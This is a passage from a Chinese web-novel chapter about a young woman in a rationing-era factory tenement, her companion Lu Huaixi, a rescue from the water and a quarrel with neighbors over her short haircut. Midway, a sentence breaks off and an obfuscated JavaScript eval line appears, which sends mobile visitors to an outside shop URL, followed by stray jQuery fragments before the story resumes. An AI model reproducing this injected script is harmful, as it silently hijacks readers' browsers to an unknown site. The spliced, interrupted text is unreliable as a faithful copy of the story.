乔娜勉强当陆淮西在夸自己的发型可爱,呵呵笑两声,转身做饭去了。
晚饭,乔娜切了小半个南瓜和马铃薯一起做了一锅浓郁的蔬菜汤,清炒马铃薯丝,还煎了一个土鸡蛋。
下午她和刘嫂闲聊时聊到了翻砂工,翻砂工和普工不一样,每天在高温条件下工作,消耗体力极大,工人每天都要点吃点荤腥才能保持体能。
刘嫂家里肉和蛋基本上就紧着男人和孩子吃,不过她看出来刘嫂有点重男轻女,估计家里几个女娃吃不上几口肉,都给刘贵一个人吃了。
江州市民每月能有2斤肉票,翻砂工属于高温工种,每月会额外补加1斤肉来补充营养。
但是鸡蛋没有高温补贴,仍旧只有半斤,一个人一个月大概五个左右的鸡蛋。
肉票珍贵不能每天都吃肉,她计划过几天去市场排队买猪肉,买脂肪多的大肥肉,不仅能炼猪肉还能吃到嘎嘣脆的猪肉渣。
鸡蛋数量有限,她计划一个礼拜给陆淮西吃一次,不能一次性全吃了,不然月头都吃了月尾就只能看着别人家馋嘴。
可是陆淮西却将煎鸡蛋一分为二,将其中的一半夹给乔娜。
“你吃吧,我都不用干活,不必吃鸡蛋。”乔娜挪开碗拒绝道:“这是给你补身子的。”
“谁说你不干活?”陆淮西不赞同地摇摇头:“难道我家里出了田螺姑娘,是她帮我打扫房间,也是她给我做的这顿晚饭吗?”
没等乔娜反应过来,他放下筷子,仿若不经意地扫视她一圈,神色莫名道:“你太瘦了。”
太瘦了……乔娜没办法否认,农村条件不好,她们村就没出过几个胖子。
就连她弟弟乔松,虽然长得人高马大,实际上人也精瘦精瘦的,身无几两肉。
其实乔娜知道他是在找借口让自己也吃鸡蛋,她本来也不喜欢在人前让来让去的,显得不大气,就当是跟他借的鸡蛋,等以后赚了钱再还给他。
“谢谢。”她小口吃着鸡蛋,哎呀~真香~看来舍得用油做出来的食物就是好吃。
她以后找到工作,赚钱了,就每天买两个鸡蛋,她和陆淮西一人一个,天天吃得满嘴流油。
乔娜原想让陆淮西带饭去厂里吃,但看看如今越来越热的天气还是作罢。
饭后,陆淮西在筒子楼里又呆了一会,这几天两人的相处没有开始那么生疏了。
乔娜就和他说了今天下水救人的光荣事迹,并发表了长头发十分碍事的感想。
“今天差点被长发害死。”乔娜真是想想都觉得后怕。
救人的时候头发好像勾到他们捉鱼虾的地笼,她费力半天,生生扯断了一截长发,才换得挣脱束缚。
她转而又想到,以她目前头发的长度至少能省一半洗发水。
顿时又觉得自己果然英明过人,做出了十分正确的决定,剪掉长发后的一丝忧愁情绪也彻底被冲淡。
乔娜自我感觉良好地一直在说,没注意到陆淮西逐渐蹙起的眉间。
“你跳水救人了?”陆淮西声音发沉地问。
“救了个小女孩,叫妞妞,你知道她是谁家的小孩……”乔娜说着说着说不下去了,她意外地看着对方,问:“陆淮西……你怎么了?”
“抱歉,我……”意识到自己有几分失态,陆淮西当即缓和了眉眼,解释道,“你救了人很好,我只是……你受伤了吗?我很担心你。”
短短两句话,其中包含了说话人的担忧、关心和护短,不关心她救了人,又救了谁,只关心她有没有受伤,真心实意担忧她的安全。
乔娜心中酸涩,救人的时候她头脑发热什么也没多想,一心只想救人。
救人之后知道是李组长的孙女,她反而暗喜自己运气真好,救了“人脉”的孙女,以后找工作有门路了。
陆淮西三言两语的关心话语,瞬间就叫她心中一紧,酸涩感溢满全身,她忍不住想起爸爸。
爸爸当初就是和他一样,凭着一股冲动下水救人。
今天把妞妞救上岸后,她心中也有隐秘的后怕,害怕和爸爸一样下了水就再也上不了岸了。
“今天天气挺热的,下水没那么冷,而且李组长还给我煮姜汤了……”乔娜眨了眨眼,强压住眼眶的胀热,她暗自平复心绪,尽量让陆淮西放心:“那碗姜汤还挺好喝,甜甜辣辣的,我整碗都喝完了。”
“我每个月有四两糖票,我们可以自己买白糖和生姜煮水。”陆淮西淡淡地说。
不知道为什么,乔娜觉得陆淮西说话的语气好像还是有点不高兴。
她哭笑不得地逗他开心,附和道:“好喝也不能随便煮着喝啊,又不是天天都会落水。还不如直接去副食店买水果糖吃。”
乔娜说完真的忍不住笑了起来,陆淮西见状,破功似地也跟着弯起唇角,刚才心酸凝滞的氛围一扫而空。
-
今天发生的事情有点多,陆淮西不放心她一个人,想留下多陪她一会。
乔娜不想耽误他休息,很快将他打发回去。
乔娜洗漱过后,照样把衣服洗了往楼底下晒,她本想让陆淮西把车间里的脏衣服带回来自己一起洗了。
对方闻言顿了下,随后以车间的衣服太脏,带回来洗不方便为由,婉言拒绝了。
乔娜瞧他目光闪躲,似乎有些不好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812473|210919||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
意思。
好像他们俩真是小两口一样,在这样一个普通的夜晚,讨论着有关洗衣服的话题,顿觉羞涩,也红着脸不说话了。
经历了风波不断的一天,乔娜睡得很沉。
隔天难得起得晚了些。
乔娜着急起床查看煤炉,昨天晚上封了一晚的煤炉没灭,她打开炉底风门,添上新炭,慢慢引火。
昨天晚上剩了点米饭,乔娜简简单单做了一顿开水泡饭解决早饭。
去水房洗碗,碰上刘嫂和田丽丽,刘嫂一见到乔娜的发型,就稀奇地围着她打转,“你咋把长辫子给绞了,还剪这么短,多可惜啊!”
“头发太长了难打理,现在我洗完头发没一会就干了,多方便啊。”乔娜有些尴尬地摸摸发尾,解释道。
“说得也是,眼见天就要热了,剪短了是方便。”刘嫂说。
其实刘嫂头发也不长,刚刚好能扎起来的程度,她感慨地说道:“不过我也是没办法,我还是更喜欢长头发,两条又黑又粗的辫子多好看啊。”
“啧。”田丽丽关上水龙头,甩了甩手上的水珠。
乔娜和刘嫂都听见田丽丽的那声“啧”了,乔娜没和田丽丽相处过,不知道她突然出声是对着谁,又是什么意思,因此没有吱声。
刘嫂可太了解了,田丽丽一撇嘴就知道她又开始犯毛病了,刘嫂可不惯着她的臭毛病,张口就喊:“你什么意思啊?啧什么啧,你笑话谁呢。”
田丽丽一点也不怵,仿佛这已经不是和刘嫂的第一次言语冲突,反击道:“谁老土我就啧谁。”
“你有什么可傲的,不就是城里人吗,城里人有什么了不起的,还不是跟俺们乡下土老帽一样住筒子楼。”刘嫂像被点燃了的炮仗,当即反唇相讥。
被自动带入“乡下土老帽”的乔娜:……
“真是乡下人,辫子剪了就剪了有什么好可惜的,又不是不长了。国营工厂的正式女工们,早就时兴短头发咧。”田丽丽嘴上也不饶人,朝向新邻居,又啧啧两声说:“不过你在哪找的剃头匠,手艺也太差了,剪得乱七八糟的。”
刘嫂立马反击,“小乔剪得像南瓜盖关你什么事,看多淳朴啊,一看就是俺们村里娃娃,哪像你们城里的小妖精。”
乔娜:……
田丽丽扑哧一声,“对对对,太形象了,像个南瓜盖。”
乔娜无奈,她硬是拽着刘嫂就要回去。
“等等,小乔是吧。”田丽丽笑完后心情很好,“你一会来我家一趟。”
乔娜不明所以,和刘嫂对视一眼,刘嫂很仗义地挺起胸膛:“别怕,我跟你一起过去,看她能搞什么鬼。”